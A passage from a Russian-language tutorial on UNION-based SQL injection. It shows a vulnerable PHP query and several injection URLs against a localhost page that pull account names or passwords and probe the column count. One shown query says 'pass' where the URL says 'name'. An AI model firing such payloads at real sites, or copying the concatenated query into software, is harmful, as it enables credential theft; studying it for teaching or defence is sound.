Рассмотрим еще один уязвимый запрос к БД.
$query = "SELECT name FROM $tbl_news WHERE url = '".$file."'";
Тогда строка запроса будет выглядеть следующим образом:
http://127.0.0.1/shablon/index.php?url=contact%27+UNION+SELECT+name+FROM+system_accounts+WHERE+name+!=%27contact
Где:
%27 — это закрывающаяся (в начале запроса) и открывающаяся (в конце) кавычка.
Т.е. реально выполнится следующий запрос:
SELECT name FROM $tbl_news WHERE url = 'contact' UNION SELECT pass FROM system_accounts WHERE name != 'contact'
Особенности работы команды UNION заключаются в том, что количество столбцов двух склеиваемых таблиц должно совпадать. До сих пор мы склеивали один столбец из таблицы $tbl_news с одним столбцом таблицы system_account. Но в реальности, мы не всегда знаем количество столбцов основной таблицы.
Тогда SQL-инъекция осуществляется путем подбора количества элементов полей:
http://127.0.0.1/shablon/index.php?url=contact%27+UNION+SELECT+name,name,name,name,name,name,name,name+FROM+system_accounts+WHERE+name+!=%27contact
Параметр name нужно повторить столько раз, сколько столбцов в таблице $tbl_news (подбирается экспериментально до тех пор, пока запрос не выполнится). Если же мы не знаем имён столбцов таблицы system_accounts, то можно SQL-инъекцию можно произвести следующим образом:
http://127.0.0.1/shablon/index.php?url=contact%27+UNION+SELECT+1,1,1,1,1,1,1,1+FROM+system_accounts+WHERE+name+!=%27contact